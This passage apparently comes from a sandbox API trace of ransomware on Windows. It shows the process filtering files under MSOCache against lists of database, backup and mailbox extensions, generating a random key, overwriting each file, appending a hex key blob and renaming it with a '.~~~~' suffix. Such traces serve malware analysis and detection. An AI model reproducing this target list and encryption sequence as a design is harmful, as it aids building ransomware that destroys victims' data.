	[0075.690] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".DTXS") returned 0x0
	[0075.690] lstrlenW (lpString=".ckp") returned 4
	[0075.690] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".ckp") returned 0x0
	[0075.690] lstrlenW (lpString=".dbt") returned 4
	[0075.690] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".dbt") returned 0x0
	[0075.690] lstrlenW (lpString=".db") returned 3
	[0075.690] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".db") returned 0x0
	[0075.690] lstrlenW (lpString=".TXT") returned 4
	[0075.690] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".TXT") returned 0x0
	[0075.690] lstrlenW (lpString=".MDF") returned 4
	[0075.690] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".MDF") returned 0x0
	[0075.690] lstrlenW (lpString=".bdb") returned 4
	[0075.690] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".bdb") returned 0x0
	[0075.690] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0075.690] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0075.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3fadf8
	[0075.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0075.690] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0075.691] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0075.691] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0075.691] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0075.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0075.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f0050
	[0075.691] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19568140538) returned 1
	[0075.691] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x970f7a30, dwHighDateTime=0x1d60e1e)) 
	[0075.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0075.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0075.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0075.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa698
	[0075.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0075.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa698 | out: hHeap=0x300000) returned 1
	[0075.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0075.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0075.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0075.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0075.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0075.692] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0075.692] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0075.692] GetLastError () returned 0x0
	[0075.692] GetLastError () returned 0x0
	[0075.692] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0075.692] GetLastError () returned 0x0
	[0075.692] GetLastError () returned 0x0
	[0075.692] ReadFile (in: hFile=0x134, lpBuffer=0x2824fd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesRead=0x26dfec0*=0x646, lpOverlapped=0x0) returned 1
	[0075.695] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffff9ba, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0075.695] WriteFile (in: hFile=0x134, lpBuffer=0x2824fd8*, nNumberOfBytesToWrite=0x646, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2824fd8*, lpNumberOfBytesWritten=0x26dfec0*=0x646, lpOverlapped=0x0) returned 1
	[0075.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0075.696] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.696] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0075.696] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0075.696] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0075.696] CloseHandle (hObject=0x134) returned 1
	[0075.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5690
	[0075.696] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.~~~~")) returned 1
	[0075.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5690 | out: hHeap=0x300000) returned 1
	[0075.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0075.697] GetLastError () returned 0x0
	[0075.697] RtlWakeConditionVariable () returned 0x365f70
	[0075.697] GetCurrentThreadId () returned 0x9cc
	[0075.697] GetCurrentThreadId () returned 0x9cc
	[0075.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0075.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7840 | out: hHeap=0x300000) returned 1
	[0075.697] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa6d0 | out: hHeap=0x300000) returned 1
	[0075.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7840
	[0075.697] lstrlenW (lpString=".scr") returned 4
	[0075.697] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".scr") returned 0x0
	[0075.697] lstrlenW (lpString=".cmd") returned 4
	[0075.697] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".cmd") returned 0x0
	[0075.697] lstrlenW (lpString=".dll") returned 4
	[0075.697] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".dll") returned 0x0
	[0075.697] lstrlenW (lpString=".bat") returned 4
	[0075.697] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".bat") returned 0x0
	[0075.697] lstrlenW (lpString=".cpl") returned 4
	[0075.697] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".cpl") returned 0x0
	[0075.697] lstrlenW (lpString=".sys") returned 4
	[0075.697] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".sys") returned 0x0
	[0075.698] lstrlenW (lpString=".msc") returned 4
	[0075.698] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".msc") returned 0x0
	[0075.698] lstrlenW (lpString=".com") returned 4
	[0075.698] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".com") returned 0x0
	[0075.698] lstrlenW (lpString=".lnk") returned 4
	[0075.698] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".lnk") returned 0x0
	[0075.698] lstrlenW (lpString=".msp") returned 4
	[0075.698] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".msp") returned 0x0
	[0075.698] lstrlenW (lpString=".pif") returned 4
	[0075.698] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".pif") returned 0x0
	[0075.698] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0075.698] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch="msp\r\n.pif") returned 0x0
	[0075.698] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0075.699] lstrlenW (lpString=".sqb") returned 4
	[0075.699] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".sqb") returned 0x0
	[0075.699] lstrlenW (lpString=".ost") returned 4
	[0075.699] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".ost") returned 0x0
	[0075.699] lstrlenW (lpString=".txt") returned 4
	[0075.699] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".txt") returned 0x0
	[0075.699] lstrlenW (lpString=".mdt") returned 4
	[0075.699] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".mdt") returned 0x0
	[0075.699] lstrlenW (lpString=".BDB") returned 4
	[0075.699] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".BDB") returned 0x0
	[0075.699] lstrlenW (lpString=".eql") returned 4
	[0075.699] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".eql") returned 0x0
	[0075.699] lstrlenW (lpString=".DBF") returned 4
	[0075.699] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".DBF") returned 0x0
	[0075.699] lstrlenW (lpString=".EQL") returned 4
	[0075.699] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".EQL") returned 0x0
	[0075.699] lstrlenW (lpString=".FDB") returned 4
	[0075.699] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".FDB") returned 0x0
	[0075.699] lstrlenW (lpString=".EDB") returned 4
	[0075.699] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".EDB") returned 0x0
	[0075.699] lstrlenW (lpString=".DACPAC") returned 7
	[0075.699] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".DACPAC") returned 0x0
	[0075.699] lstrlenW (lpString=".VHD") returned 4
	[0075.699] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".VHD") returned 0x0
	[0075.699] lstrlenW (lpString=".DBV") returned 4
	[0075.699] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".DBV") returned 0x0
	[0075.700] lstrlenW (lpString=".dacpac") returned 7
	[0075.700] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".dacpac") returned 0x0
	[0075.700] lstrlenW (lpString=".sdf") returned 4
	[0075.700] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".sdf") returned 0x0
	[0075.700] lstrlenW (lpString=".accdb") returned 6
	[0075.700] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".accdb") returned 0x0
	[0075.700] lstrlenW (lpString=".DBX") returned 4
	[0075.700] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".DBX") returned 0x0
	[0075.700] lstrlenW (lpString=".MDT") returned 4
	[0075.700] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".MDT") returned 0x0
	[0075.700] lstrlenW (lpString=".SQB") returned 4
	[0075.700] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".SQB") returned 0x0
	[0075.700] lstrlenW (lpString=".vhd") returned 4
	[0075.700] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".vhd") returned 0x0
	[0075.700] lstrlenW (lpString=".bac") returned 4
	[0075.700] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".bac") returned 0x0
	[0075.700] lstrlenW (lpString=".mdf") returned 4
	[0075.700] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".mdf") returned 0x0
	[0075.700] lstrlenW (lpString=".BAK") returned 4
	[0075.700] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".BAK") returned 0x0
	[0075.700] lstrlenW (lpString=".BAC") returned 4
	[0075.700] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".BAC") returned 0x0
	[0075.700] lstrlenW (lpString=".dbs") returned 4
	[0075.700] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".dbs") returned 0x0
	[0075.700] lstrlenW (lpString=".vhdx") returned 5
	[0075.700] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".vhdx") returned 0x0
	[0075.700] lstrlenW (lpString=".NDF") returned 4
	[0075.700] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".NDF") returned 0x0
	[0075.700] lstrlenW (lpString=".dat") returned 4
	[0075.700] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".dat") returned 0x0
	[0075.700] lstrlenW (lpString=".DBS") returned 4
	[0075.700] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".DBS") returned 0x0
	[0075.700] lstrlenW (lpString=".CKP") returned 4
	[0075.700] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".CKP") returned 0x0
	[0075.700] lstrlenW (lpString=".edb") returned 4
	[0075.701] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".edb") returned 0x0
	[0075.701] lstrlenW (lpString=".PST") returned 4
	[0075.701] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".PST") returned 0x0
	[0075.701] lstrlenW (lpString=".dbf") returned 4
	[0075.701] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".dbf") returned 0x0
	[0075.701] lstrlenW (lpString=".SQL") returned 4
	[0075.701] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".SQL") returned 0x0
	[0075.701] lstrlenW (lpString=".pst") returned 4
	[0075.701] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".pst") returned 0x0
	[0075.701] lstrlenW (lpString=".dbv") returned 4
	[0075.701] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".dbv") returned 0x0
	[0075.701] lstrlenW (lpString=".SDF") returned 4
	[0075.701] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".SDF") returned 0x0
	[0075.701] lstrlenW (lpString=".dtxs") returned 5
	[0075.701] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".dtxs") returned 0x0
	[0075.701] lstrlenW (lpString=".db3") returned 4
	[0075.701] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".db3") returned 0x0
	[0075.701] lstrlenW (lpString=".OST") returned 4
	[0075.701] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".OST") returned 0x0
	[0075.701] lstrlenW (lpString=".dbx") returned 4
	[0075.701] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".dbx") returned 0x0
	[0075.701] lstrlenW (lpString=".DB3") returned 4
	[0075.701] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".DB3") returned 0x0
	[0075.701] lstrlenW (lpString=".DAT") returned 4
	[0075.701] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".DAT") returned 0x0
	[0075.701] lstrlenW (lpString=".VHDX") returned 5
	[0075.701] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".VHDX") returned 0x0
	[0075.701] lstrlenW (lpString=".ndf") returned 4
	[0075.701] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".ndf") returned 0x0
	[0075.701] lstrlenW (lpString=".DB") returned 3
	[0075.701] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".DB") returned 0x0
	[0075.701] lstrlenW (lpString=".sql") returned 4
	[0075.701] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".sql") returned 0x0
	[0075.701] lstrlenW (lpString=".MYD") returned 4
	[0075.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".MYD") returned 0x0
	[0075.702] lstrlenW (lpString=".DBT") returned 4
	[0075.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".DBT") returned 0x0
	[0075.702] lstrlenW (lpString=".ACCDB") returned 6
	[0075.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".ACCDB") returned 0x0
	[0075.702] lstrlenW (lpString=".fdb") returned 4
	[0075.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".fdb") returned 0x0
	[0075.702] lstrlenW (lpString=".bak") returned 4
	[0075.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".bak") returned 0x0
	[0075.702] lstrlenW (lpString=".myd") returned 4
	[0075.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".myd") returned 0x0
	[0075.702] lstrlenW (lpString=".DTXS") returned 5
	[0075.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".DTXS") returned 0x0
	[0075.702] lstrlenW (lpString=".ckp") returned 4
	[0075.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".ckp") returned 0x0
	[0075.702] lstrlenW (lpString=".dbt") returned 4
	[0075.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".dbt") returned 0x0
	[0075.702] lstrlenW (lpString=".db") returned 3
	[0075.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".db") returned 0x0
	[0075.702] lstrlenW (lpString=".TXT") returned 4
	[0075.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".TXT") returned 0x0
	[0075.702] lstrlenW (lpString=".MDF") returned 4
	[0075.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".MDF") returned 0x0
	[0075.702] lstrlenW (lpString=".bdb") returned 4
	[0075.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".bdb") returned 0x0
	[0075.702] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0075.702] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0075.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3fadf8
	[0075.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0075.702] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0075.703] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0075.703] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0075.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0075.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0075.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f0050
	[0075.703] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19569354870) returned 1
